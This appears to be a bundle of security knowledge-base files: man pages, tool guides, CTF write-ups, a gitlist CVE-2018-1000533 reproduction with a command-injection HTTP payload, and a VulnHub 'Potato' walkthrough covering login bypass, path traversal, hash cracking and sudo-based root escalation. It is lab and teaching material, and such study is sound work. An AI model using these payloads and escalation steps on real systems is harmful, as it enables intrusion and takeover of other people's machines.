显示的信息包括: 型号、操作系统、内核、CPU、GPU、内存、正常运行时间、程序包、shell、分辨率、DE、WM、WM主题、主题、图标和终端等
Neofetch是一个开源工具,[项目地址](https://github.com/dylanaraps/neofetch)
### 安装
Debian/Ubuntu
```shell
sudo apt install neofetch -y
```
CentOS
```shell
sudo yum install neofetch -y
sudo dnf install neofetch -y
```
[更多系统安装](https://github.com/dylanaraps/neofetch/wiki/Installation)
### 语法
```
neofetach
```
### 返回
**回显**
macOS:
```shell
'c. mac@Mac-mini.local
,xNMM. --------------------------
.OMMMMo OS: macOS 12.4 21F79 arm64
OMMM0, Host: Macmini9,1
.;loddo:' loolloddol;. Kernel: 21.5.0
cKMMMMMMMMMMNWMMMMMMMMMM0: Uptime: 2 hours, 57 mins
.KMMMMMMMMMMMMMMMMMMMMMMMWd. Packages: 20 (brew)
XMMMMMMMMMMMMMMMMMMMMMMMX. Shell: zsh 5.8.1
;MMMMMMMMMMMMMMMMMMMMMMMM: Resolution: 2560x1440, 1920x1080
:MMMMMMMMMMMMMMMMMMMMMMMM: DE: Aqua
.MMMMMMMMMMMMMMMMMMMMMMMMX. WM: Quartz Compositor
kMMMMMMMMMMMMMMMMMMMMMMMMWd. WM Theme: Blue (Dark)
.XMMMMMMMMMMMMMMMMMMMMMMMMMMk Terminal: iTerm2
.XMMMMMMMMMMMMMMMMMMMMMMMMK. Terminal Font: Monaco 12
kMMMMMMMMMMMMMMMMMMMMMMd CPU: Apple M1
;KMMMMMMMWXXWMMMMMMMk. GPU: Apple M1
.cooc,. .,coo:. Memory: 2251MiB / 16384MiB
```
Ubuntu:
```shell
.-/+oossssoo+/-. root@root
`:+ssssssssssssssssss+:` ------------
-+ssssssssssssssssssyyssss+- OS: Ubuntu 20.04.4 LTS aarch64
.ossssssssssssssssssdMMMNysssso. Host: Firefly RK3568-ROC-PC HDMI (Linux)
/ssssssssssshdmmNNmmyNMMMMhssssss/ Kernel: 4.19.193
+ssssssssshmydMMMMMMMNddddyssssssss+ Uptime: 7 days, 13 hours, 3 mins
/sssssssshNMMMyhhyyyyhmNMMMNhssssssss/ Packages: 1158 (dpkg)
.ssssssssdMMMNhsssssssssshNMMMdssssssss. Shell: bash 5.0.17
+sssshhhyNMMNyssssssssssssyNMMMysssssss+ Resolution: 1440x900
ossyNMMMNyMMhsssssssssssssshmmmhssssssso WM: Openbox
ossyNMMMNyMMhsssssssssssssshmmmhssssssso Theme: Arc-Darker [GTK3]
+sssshhhyNMMNyssssssssssssyNMMMysssssss+ Icons: Adwaita [GTK3]
.ssssssssdMMMNhsssssssssshNMMMdssssssss. Terminal: /dev/pts/0
/sssssssshNMMMyhhyyyyhdNMMMNhssssssss/ CPU: Firefly RK3568-ROC-PC HDMI (Linux) (4) @ 1.992GHz
+sssssssssdmydMMMMMMMMddddyssssssss+ Memory: 617MiB / 7687MiB
/ssssssssssshdmNNNNmyNMMMMhssssss/
.ossssssssssssssssssdMMMNysssso.
-+sssssssssssssssssyyyssss+-
`:+ssssssssssssssssss+:`
.-/+oossssoo+/-.
```
|
sec-knowleage
|
.\" Hey Emacs! This file is -*- nroff -*- source.
.\"
.\" This manpage is Copyright (C) 1992 Drew Eckhardt;
.\" 1993 Michael Haardt, Ian Jackson.
.\"
.\" Permission is granted to make and distribute verbatim copies of this
.\" manual provided the copyright notice and this permission notice are
.\" preserved on all copies.
.\"
.\" Permission is granted to copy and distribute modified versions of this
.\" manual under the conditions for verbatim copying, provided that the
.\" entire resulting derived work is distributed under the terms of a
.\" permission notice identical to this one
.\"
.\" Since the Linux kernel and libraries are constantly changing, this
.\" manual page may be incorrect or out-of-date. The author(s) assume no
.\" responsibility for errors or omissions, or for damages resulting from
.\" the use of the information contained herein. The author(s) may not
.\" have taken the same level of care in the production of this manual,
.\" which is licensed free of charge, as they might when working
.\" professionally.
.\"
.\" Formatted or processed versions of this manual, if unaccompanied by
.\" the source, must acknowledge the copyright and authors of this work.
.\"
.\" Modified Sat Jul 24 00:06:00 1993 by Rik Faith <faith@cs.unc.edu>
.\" Modified Wed Jan 17 16:02:32 1996 by Michael Haardt
.\" <michael@cantor.informatik.rwth-aachen.de>
.\" Modified Thu Apr 11 19:26:35 1996 by Andries Brouwer <aeb@cwi.nl>
.\" Modified Sun Jul 21 18:59:33 1996 by Andries Brouwer <aeb@cwi.nl>
.\" Modified Fri Jan 31 16:47:33 1997 by Eric S. Raymond <esr@thyrsus.com>
.\" Modified Sat Jul 12 20:45:39 1997 by Michael Haardt
.\" <michael@cantor.informatik.rwth-aachen.de>
.\" 中文版版权所有 byeyear AND www.linuxforum.net 2002
.\"
.TH READ 2 "July 12, 1997" "Linux 2.0.32" "Linux Programmer's Manual"
.SH NAME
read \- 在文件描述符上执行读操作
.SH 概述
.nf
.B #include <unistd.h>
.sp
.BI "ssize_t read(int " fd ", void *" buf ", size_t " count );
.fi
.SH 描述
.B read()
从文件描述符
.I fd
中读取
.I count
字节的数据并放入从
.IR buf
开始的缓冲区中.
.PP
如果
.I count
为零,\fBread()\fP返回0,不执行其他任何操作.
如果
.I count
大于SSIZE_MAX,那么结果将不可预料.
.PP
.SH "返回值"
成功时返回读取到的字节数(为零表示读到文件描述符),
此返回值受文件剩余字节数限制.当返回值小于指定的字节数时
并不意味着错误;这可能是因为当前可读取的字节数小于指定的
字节数(比如已经接近文件结尾,或者正在从管道或者终端读取数
据,或者
\fBread()\fP被信号中断).
发生错误时返回\-1,并置
.I errno
为相应值.在这种情况下无法得知文件偏移位置是否有变化.
.SH 错误代码
.TP
.B EINTR
在读取到数据以前调用被信号所中断.
.TP
.B EAGAIN
使用
.B O_NONBLOCK
标志指定了非阻塞式输入输出,但当前没有数据可读.
.TP
.B EIO
输入输出错误.可能是正处于后台进程组进程试图读取其
控制终端,但读操作无效,或者被信号SIGTTIN所阻塞,
或者其进程组是孤儿进程组.也可能执行的是读磁盘或者
磁带机这样的底层输入输出错误.
.TP
.B EISDIR
.I fd
指向一个目录.
.TP
.B EBADF
.I fd
不是一个合法的文件描述符,或者不是为读操作而打开.
.TP
.B EINVAL
.I fd
所连接的对象不可读.
.TP
.B EFAULT
.I buf
超出用户可访问的地址空间.
.PP
也可能发生其他错误,具体情况和
.IR fd
所连接的对象有关.
POSIX 允许
.B read
在读取了一定量的数据后被信号所中断,并返回
\-1(且
.I errno
被设置为EINTR),或者返回已读取的数据量.
.SH 兼容于
SVr4, SVID, AT&T, POSIX, X/OPEN, BSD 4.3
.SH 限制
在NFS文件系统中,读取小块数据仅更新时间标记,之后的调用
不再读取服务器端的数据.这是因为客户端把数据放在缓存里.
由于大多数情况下不存在NFS服务器向客户端的读操作,
所以NFS客户必须将更新时间标记的操作放在服务器端,而
数据可以放在客户端的缓存里留待以后更新.UNIX也可以禁用
客户端的缓存,但那样的话大多数情况下会导致服务器性能下降.
.SH 参见
.BR close (2),
.BR fcntl (2),
.BR ioctl (2),
.BR lseek (2),
.BR readdir (2),
.BR readlink (2),
.BR select (2),
.BR write (2),
.BR fread (3)
.SH "[中文版维护人]"
.B byeyear <love_my_love@263.net >
.SH "[中文版最新更新]"
.B 2002.02.02
.SH "《中国linux论坛man手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# gitlist 0.6.0 远程命令执行漏洞(CVE-2018-1000533)
gitlist是一款使用PHP开发的图形化git仓库查看工具。在其0.6.0版本及以前,存在一处命令参数注入问题,可以导致远程命令执行漏洞。
## 环境搭建
执行如下命令启动漏洞环境:
```
docker compose up -d
```
环境启动后,访问`http://your-ip:8080`将看到一个名为`example`的仓库。
## 漏洞原理
在用户对仓库中代码进行搜索的时候,gitlist将调用`git grep`命令:
```php
public function searchTree($query, $branch)
{
if (empty($query)) {
return null;
}
$query = escapeshellarg($query);
try {
$results = $this->getClient()->run($this, "grep -i --line-number {$query} $branch");
} catch (\RuntimeException $e) {
return false;
}
```
其中,`$query`是搜索的关键字,`$branch`是搜索的分支。
如果用户输入的`$query`的值是`--open-files-in-pager=id;`,将可以执行`id`命令:

导致这个漏洞的原因,有几点:
1. 开发者对于`escapeshellarg`函数的误解,造成参数注入
2. `git grep`的参数`--open-files-in-pager`的值,将被直接执行
理论上,在经过`$query = escapeshellarg($query);`处理后,`$query`将变成一个由单引号包裹的字符串。但不出漏洞的前提是,这个字符串应该出现在“参数值”的位置,而不是出现在参数选项(option)中。
我们可以试一下如下命令:
```
git grep -i --line-number -e '--open-files-in-pager=id;' master
```

如上图,我将`$query`放在了`-e`参数的值的位置,此时它就仅仅是一个字符串而已,并不会被当成参数`--open-files-in-pager`。
这应该作为本漏洞的最佳修复方法,也是git官方对pattern可能是用户输入的情况的一种解决方案(以下说明来自man-page):
> -e
> The next parameter is the pattern. This option has to be used for patterns starting with - and should be used in scripts passing user input to grep. Multiple patterns are combined by
> or.
当然,gitlist的开发者用了另一种修复方案:
```php
public function searchTree($query, $branch)
{
if (empty($query)) {
return null;
}
$query = preg_replace('/(--?[A-Za-z0-9\-]+)/', '', $query);
$query = escapeshellarg($query);
try {
$results = $this->getClient()->run($this, "grep -i --line-number -- {$query} $branch");
} catch (\RuntimeException $e) {
return false;
}
```
首先用`preg_replace`将`-`开头的非法字符移除,然后将`$query`放在`--`的后面。在命令行解析器中,`--`的意思是,此后的部分不会再包含参数选项(option):
> A -- signals the end of options and disables further option processing. Any arguments after the -- are treated as filenames and arguments. An argument of - is equivalent to --.
>
> If arguments remain after option processing, and neither the -c nor the -s option has been supplied, the first argument is assumed to be the name of a file containing shell commands. If bash is invoked in this fashion, $0 is set to the name of the file, and the positional parameters are set to the remaining arguments. Bash reads and executes commands from this file, then exits. Bash's exit status is the exit status of the last command executed in the script. If no commands are executed, the exit status is 0. An attempt is first made to open the file in the current directory, and, if no file is found, then the shell searches the directories in PATH for the script.
举个简单的例子,如果我们需要查看一个文件名是`--name`的文件,我们就不能用`cat --name`来读取,也不能用`cat '--name'`,而必须要用`cat -- --name`。从这个例子也能看出,单引号并不是区分一个字符串是“参数值”或“选项”的标准。

所以官方这个修复方案也是可以接受的,只不过第一步的`preg_replace`有点影响正常搜索功能。
## 漏洞复现
发送如下数据包:
```
POST /example/tree/a/search HTTP/1.1
Host: your-ip:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Content-Length: 56
query=--open-files-in-pager=touch /tmp/success;
```
其中,我们访问的是`/example/tree/a/search`,example是项目名称,需要是目标gitlist上一个已存在的项目;a在正常情况下应该是分支的名称,也就是`"grep -i --line-number {$query} $branch"`中的`$branch`,但因为我们的`$query`被当成了一个参数,所以`$branch`就应该被当做搜索的关键字。
如果没有搜索结果的话,我们的命令是不会被执行的,所以我用了“a”这个关键字,只是为了保证能搜出结果,你也可以换成其他的试试。
数据包发送后,用`docker compose exec web bash`进入容器中,可见`/tmp/success`已成功创建:

|
sec-knowleage
|
# gpg
---
## 建立新的 GPG 密钥对
```bash
gpg --gen-key
```
## 导出公钥
```bash
gpg --export {user-name}
gpg --export ffffffff0x > ffffffff0x-pub.gpg
```
## 导入其他人的公钥
```bash
gpg --import FileName
```
## 读取加密的消息
```bash
gpg --decrypt test-file.asc
```
---
## Source & Reference
- [Gpg Key-Pair Encryption and Decryption Examples](https://linux.101hacks.com/unix/gpg-command-examples/)
|
sec-knowleage
|
.\" Copyright (C) Markus Kuhn, 1995
.\"
.\" This is free documentation; you can redistribute it and/or
.\" modify it under the terms of the GNU General Public License as
.\" published by the Free Software Foundation; either version 2 of
.\" the License, or (at your option) any later version.
.\"
.\" The GNU General Public License's references to "object code"
.\" and "executables" are to be interpreted as the output of any
.\" document formatting or typesetting system, including
.\" intermediate and printed output.
.\"
.\" This manual is distributed in the hope that it will be useful,
.\" but WITHOUT ANY WARRANTY; without even the implied warranty of
.\" MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
.\" GNU General Public License for more details.
.\"
.\" You should have received a copy of the GNU General Public
.\" License along with this manual; if not, write to the Free
.\" Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139,
.\" USA.
.\"
.\" 1995-11-26 Markus Kuhn <mskuhn@cip.informatik.uni-erlangen.de>
.\" First version written
.\" 中文版版权所有 mapping, Laser www.linuxforum.net 2000
.TH UNICODE 7 "1995-12-27" "Linux" "Linux Programmer's Manual"
.SH NAME
Unicode \- 16 位统一超级字符集
.SH 描述 (DESCRIPTION)
国际标准
.B ISO 10646
定义了
.BR "通用字符集 (Universal Character Set, UCS)".
.B UCS
包含所有别的字符集标准里的字符,并且保证了
.BR "互换兼容性 (round-trip compatibility)",
也就是说,当一个字符串在
.B UCS
和任何别的字符集之间转换时, 转换表可以保证不会有信息丢失现象发生.
.B UCS
包含了表示几乎所有已知的语言所必需的字符.该字符集既包
括那些使用扩展拉丁语的语言,也包括下面的这些语言: Greek,
Cyrillic, Hebrew,Arabic, Armenian, Gregorian, Japanese,
Chinese, Hiragana, Katakana, Korean, Hangul, Devangari,
Bengali, Gurmukhi, Gujarati, Oriya, Tamil, Telugu,
Kannada, alayam, Thai, Lao, Bopomofo,等等.而另外的语言,例如
Tibetian, Khmer, Runic, Ethiopian, Hieroglyphics,
各种 Indo-European 语言, 还有许多其他的语言, 正在被加入其
中.1993 年发布该标准的时候, 还不清楚怎样才能对后面加入的这些
语言中的大部分作更好的编码. 另外, 这些语言所需的字符, 以及由
TeX, PostScript, MS-DOS, Macintosh, Videotext, OCR, 还有很
多字处理系统所提供的大量的图形, 印刷体, 数学和科学符号, 都已
被包括进来, 还包括了一些特别编码以保证和所有其它已存在字符集
标准的可逆转换兼容性.
.B UCS
标准 (ISO 10646) 描述了一个 31 位字符集的体系, 不过, 目前
只使用了前面 65534 个编码位置 (0x0000-0xfffd, 它们被称为
.BR "基本多语言块 (Basic Multilingual Plane,BMP))",
分配给了字符, 而且我们
估计只有那些很古怪的字符(比如. Hieroglyphics)为了专门
的科学目的, 才会在将来的某个时候, 需要 16 位的 BMP 之外的部分.
从 0x0000 到 0x007f 之间的
.B UCS
字符和经典
.B US-ASCII
字符集是一样的,
而从 0x0000 到 0x00ff 之间的字符等于
.B ISO 8859-1 Latin-1
字符集.
.SH 组合字符 (COMBINING CHARACTERS)
一些
.B UCS
编码被分配给了
.BR "组合字符(combining characters)".
这样的情形有点类似于打字机上的重音键. 一个组合字符只是
给前面的字符添加一个重音. 在
.BR UCS
里最重要的重音字符都有他们自己的编码,
不过, 组合字符机制允许给任一字符添加重音和其他的可识别记号.
组合字符总是跟在那些他们所修饰的字符后面. 例如,德语符号 Umlaut-A
(带分音符的大写拉丁字母 A)既可以表示为
.B UCS
编码 0x00c4, 也可以
用一个正常的"大写拉丁字母 A"后面跟一个"组合分音符号":
0x0041 0x0308 来表示.
.SH 实现级别 (IMPLEMENTATION LEVELS)
由于不是所有系统都支持象组合字符这样的高级机制, ISO 10646
指明了
.BR UCS
的三种实现级别:
.TP 0.9i
级别 1 (Level 1)
不支持组合字符和 Hangul Jamo 字符(朝鲜语的一种更复
杂的专用的编码, Hangul 音节编码成两或三个亚字符).
.TP
级别 2 (Level 2)
类似于级别1, 却在一些语言里面也支持一些组合字符.
(比如. Hebrew, Arabic, Devangari, Bengali, Gurmukhi,
Gujarati, Oriya, Tamil, Telugo, Kannada, Malayalam, Thai 和 Lao).
.TP
级别 3 (Level 3)
支持所有
.B UCS
字符.
.PP
Unicode 协会发布的 Unicode 1.1 标准和 ISO 10646 所描述的
那样, 在第 3 执行级别只包括了
.B UCS (基本多语言块 Basic Multilingual Plane).
Unicode 1.1 还为一些 ISO 10646 的字符定义加
入了一些语义定义.
.SH LINUX 下的 UNICODE (UNICODE UNDER LINUX)
在 Linux 下, 为了降低组合字符的实现复杂性, 目前只包括了执
行级别 1 下的
.B BMP.
更高的执行级别更适合于专门的字处理格式,
而不是一个普通的系统字符集. 在 linux 下 C 的类型
.B wchar_t
是一个
有符号位的 32 位整型并且其值解释为
.B UCS4
编码.
本地化设置指明系统字符编码是使用诸如
.B UTF-8
还是
.BR "ISO 8859-1" 这样的编码.
象库函数
.BR wctomb,
.BR mbtowc,
或者
.B wprintf
就可以用于内部
.B wchar_t
字符及字符串与系统字符编码之间做转换.
.SH 私有区 (PRIVATE AREA)
在
.BR BMP
里, 0xe000 到 0xf8ff 的范围被标准保留做私用因而永远不会
被分配给任何字符. 对于 Linux 社区, 该私有区被再细分为可以被任何终端用户
独立使用的 0xe000 到 0xefff 的范围, 以及从 0xf000 到 0xf8ff 给所有 linux
用户所共用的 linux 区.H. Peter Anvin(<Peter.Anvin@linux.org>,
Yggdrasil Computing,Inc) 现在维护登记分配到 linux 区的字符.
该区包括一些 Unicode 中缺少的 DEC VT100 的图形字符, 这使控制台
的字体缓冲区可以直接获得这些字符, 该区还包括一些象 Klingon
这样的古老语言所使用的字符.
.SH 文献 (LITERATURE)
.TP 0.2i
*
Information technology \- Universal Multiple-Octet Coded Character
Set (UCS) \- Part 1: Architecture and Basic Multilingual Plane.
International Standard ISO 10646-1, International Organization
for Standardization, Geneva, 1993.
这是
.BR UCS
的正式规范, 非常正式, 也很厚, 还非常贵. 如果要定
购信息, 去看看 www.iso.ch.
.TP
*
The Unicode Standard \- Worldwide Character Encoding Version 1.0.
The Unicode Consortium, Addison-Wesley,
Reading, MA, 1991.
Unicode 已经有 1.1.4 版可用,与 1.0 版的差别可以在 ftp.unicode.org 找到.
Unicode 2.0 也将在 1996 年出版一本书.
.TP
*
S. Harbison, G. Steele. C \- A Reference Manual. Fourth edition,
Prentice Hall, Englewood Cliffs, 1995, ISBN 0-13-326224-3.
一本很好的 C 语言编程参考书. 现在的第四版包含了 1994 年对标准
ISO C 的第一次修正 (ISO/IEC 9899:1990), 添加了大量
处理多种字符集的新的 C 库函数.
.SH 缺憾 (BUGS)
在写这个手册页的时候,linux 对
.B UCS
的 C 语言库支持远未完成.
.SH 作者 (AUTHOR)
Markus Kuhn <mskuhn@cip.informatik.uni-erlangen.de>
.SH 又见(SEE ALSO)
.B utf-8(7),
.B http://www.linuxforum.net/books/UTF-8-Unicode.html
.SH "[中文版维护人]"
.B mapping <mapping@263.net>
.SH "[中文版最新更新]"
.BR 2000/11/06
.SH "《中国linux论坛man手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# Potato
> https://download.vulnhub.com/potato/Potato.ova
靶场IP:`192.168.2.15`
扫描对外端口服务
```
┌──(root㉿kali)-[~]
└─# nmap -p1-65535 -sV 192.168.2.15
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-08 09:22 EDT
Nmap scan report for 192.168.2.15
Host is up (0.00014s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
2112/tcp open ftp ProFTPD
MAC Address: 08:00:27:22:EF:2E (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.40 seconds
```
ftp匿名登录
```
┌──(root㉿kali)-[~]
└─# ftp 192.168.2.15 2112
Connected to 192.168.2.15.
220 ProFTPD Server (Debian) [::ffff:192.168.2.15]
Name (192.168.2.15:root): anonymous
331 Anonymous login ok, send your complete email address as your password
Password:
230-Welcome, archive user anonymous@192.168.2.5 !
230-
230-The local time is: Thu Sep 08 13:24:37 2022
230-
230 Anonymous access granted, restrictions apply
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -al
229 Entering Extended Passive Mode (|||60607|)
150 Opening ASCII mode data connection for file list
drwxr-xr-x 2 ftp ftp 4096 Aug 2 2020 .
drwxr-xr-x 2 ftp ftp 4096 Aug 2 2020 ..
-rw-r--r-- 1 ftp ftp 901 Aug 2 2020 index.php.bak
-rw-r--r-- 1 ftp ftp 54 Aug 2 2020 welcome.msg
226 Transfer complete
ftp> get index.php.bak
local: index.php.bak remote: index.php.bak
229 Entering Extended Passive Mode (|||63907|)
150 Opening BINARY mode data connection for index.php.bak (901 bytes)
901 1.86 MiB/s
226 Transfer complete
901 bytes received in 00:00 (797.71 KiB/s)
ftp> get welcome.msg
local: welcome.msg remote: welcome.msg
229 Entering Extended Passive Mode (|||37275|)
150 Opening BINARY mode data connection for welcome.msg (54 bytes)
54 2.34 MiB/s
226 Transfer complete
54 bytes received in 00:00 (68.39 KiB/s)
```
查看两个文件
```
┌──(root㉿kali)-[~]
└─# cat index.php.bak
<html>
<head></head>
<body>
<?php
$pass= "potato"; //note Change this password regularly
if($_GET['login']==="1"){
if (strcmp($_POST['username'], "admin") == 0 && strcmp($_POST['password'], $pass) == 0) {
echo "Welcome! </br> Go to the <a href=\"dashboard.php\">dashboard</a>";
setcookie('pass', $pass, time() + 365*24*3600);
}else{
echo "<p>Bad login/password! </br> Return to the <a href=\"index.php\">login page</a> <p>";
}
exit();
}
?>
<form action="index.php?login=1" method="POST">
<h1>Login</h1>
<label><b>User:</b></label>
<input type="text" name="username" required>
</br>
<label><b>Password:</b></label>
<input type="password" name="password" required>
</br>
<input type="submit" id='submit' value='Login' >
</form>
</body>
</html>
┌──(root㉿kali)-[~]
└─# cat welcome.msg
Welcome, archive user %U@%R !
The local time is: %T
```
浏览器访问80端口

爆破目录
```
┌──(root㉿kali)-[~]
└─# dirb http://192.168.2.15/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Thu Sep 8 09:37:48 2022
URL_BASE: http://192.168.2.15/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.2.15/ ----
==> DIRECTORY: http://192.168.2.15/admin/
+ http://192.168.2.15/index.php (CODE:200|SIZE:245)
+ http://192.168.2.15/server-status (CODE:403|SIZE:277)
---- Entering directory: http://192.168.2.15/admin/ ----
+ http://192.168.2.15/admin/index.php (CODE:200|SIZE:466)
==> DIRECTORY: http://192.168.2.15/admin/logs/
---- Entering directory: http://192.168.2.15/admin/logs/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
-----------------
END_TIME: Thu Sep 8 09:37:50 2022
DOWNLOADED: 9224 - FOUND: 3
```
通过`username[]=""&password[]=""`如下所示的方式绕过。

会跳转到`/admin/dashboard.php`

查看日志功能有文件包含漏洞
```
POST /admin/dashboard.php?page=log HTTP/1.1
Host: 192.168.2.15
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Origin: http://192.168.2.15
Connection: close
Referer: http://192.168.2.15/admin/dashboard.php?page=log
Cookie: pass=serdesfsefhijosefjtfgyuhjiosefdfthgyjh
Upgrade-Insecure-Requests: 1
file=../../../../../../etc/passwd
```
```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
florianges:x:1000:1000:florianges:/home/florianges:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
proftpd:x:112:65534::/run/proftpd:/usr/sbin/nologin
ftp:x:113:65534::/srv/ftp:/usr/sbin/nologin
webadmin:$1$webadmin$3sXBxGUtDGIFAcnNTNhi6/:1001:1001:webadmin,,,:/home/webadmin:/bin/bash
```

爆破webadmin用户的密码为:`dragon`
```sh
┌──(root㉿kali)-[/tmp]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
dragon (webadmin)
1g 0:00:00:00 DONE (2022-09-08 09:47) 100.0g/s 19200p/s 19200c/s 19200C/s 123456..november
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
┌──(root㉿kali)-[/tmp]
└─# cat hash
webadmin:$1$webadmin$3sXBxGUtDGIFAcnNTNhi6/
```
使用webadmin用户登录

查看sudo列表
```
webadmin@serv:~$ sudo -l
[sudo] password for webadmin:
Matching Defaults entries for webadmin on serv:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User webadmin may run the following commands on serv:
(ALL : ALL) /bin/nice /notes/*
```
提权成功
```
webadmin@serv:~$ sudo /bin/nice
Sorry, user webadmin is not allowed to execute '/bin/nice' as root on serv.
webadmin@serv:~$ sudo /bin/nice /notes/../bin/bash
root@serv:/home/webadmin# id
uid=0(root) gid=0(root) groups=0(root)
```
|
sec-knowleage
|
# Writeup BioTerra CTF 2016
Team: msm, c7f.m0d3, akrasuski1, nazywam, other19, cr019283, shalom
### Table of contents
* [Orgone Market (Web)](orgone_market)
* [Akashic Records (Pwn)](akashic_records)
* [Zip (Forensics)](zip)
* [Job Portal (Web/Pwn)](job_portal)
* [Illuminati (Web)](illuminati)
|
sec-knowleage
|
# Amaze me
Category: Logic, 100 Points
## Description
> All you need to know is:
>
> netcat maze.csa-challenge.com 80
>
> Good luck!
## Solution
Let's connect to the attached server:
```console
root@kali:/media/sf_CTFs/checkpoint/Amaze_me# nc maze.csa-challenge.com 80
The great Mount of Moria towered over a maze that concealed a lustrous treasure, the Nauglamir.
The treasure is still present from the days of the great king Thingol,
but is secretly hidden in a maze after being stashed away by dwarfs.
Unfortunately, the last copy of the map of the maze was lost,
but we hope you will still be able to help us locating the Nauglamir.
You will find this is no easy task -
The maze is 250 x 250 big, you have only limited attempts.
You must be really careful in your answers to avoid traps built by the dwarfs to protect the Nauglamir.
Guesses won't help you and we trust your skills and wisdom to guide you in this challenge.
We trust you and wish you good luck, and hope you will find your way to the Nauglamir.
Oh, and just in case it will help you - your starting position is: (46,185)
> What is your command?
l
0
> What is your command?
r
1
> What is your command?
u
0
> What is your command?
d
0
> What is your command?
```
It looks like a maze, and we can try to move left, right, up and down. If we are successful, the console returns `1`, otherwise `0`.
Using just this information, we can write a simple backtracking program to explore the maze and see if we find anything. We can even log the locations we have visited in a mini-map.
Running such a program would produce an output similar to the following (needless to say, every session produces a different random map):

There are a few large oval areas which can't be accessed, but apart from that, nothing interesting. We must be missing something.
Let's go back to the command prompt. If we try entering some other commands, we get interesting responses:
```console
Oh, and just in case it will help you - your starting position is: (35,175)
> What is your command?
c
(35,175)
> What is your command?
i
l=0, r=0, u=0, d=1
> What is your command?
h
Don't forget to eat breakfast, it's the most important meal in the day
> What is your command?
g
far far away
> What is your command?
s
> What is your solution?
17, 22
Next time we suggest you to keep your guesses to yourself and start walking instead!
```
We see that `i` gives us a summary of the directions we can go to, and `g` says "far far away". Sounds like at some point this command should tell us that we're closer.
We also have `s` which accepts coordinates - we will probably need to use this to enter the treasure coordinates.
Therefore, the next step is to refactor our backtracking program to query `g`.
We run it, and at some point we get a hit:
```
Your distance from the treasure is √ 1855
```
So now we know that `g` tells us our distance from the treasure (in terms of `sqrt(distance)` ).
If we have three such points, we can try to triangulate the treasure.
This is a coding challenge so we'll jump from here straight to the code:
```python
import io, shutil, re, datetime, random
from collections import namedtuple
from functools import lru_cache
from enum import Enum
from pwn import *
from z3 import *
MAZE_SIZE = 250
class Direction(Enum):
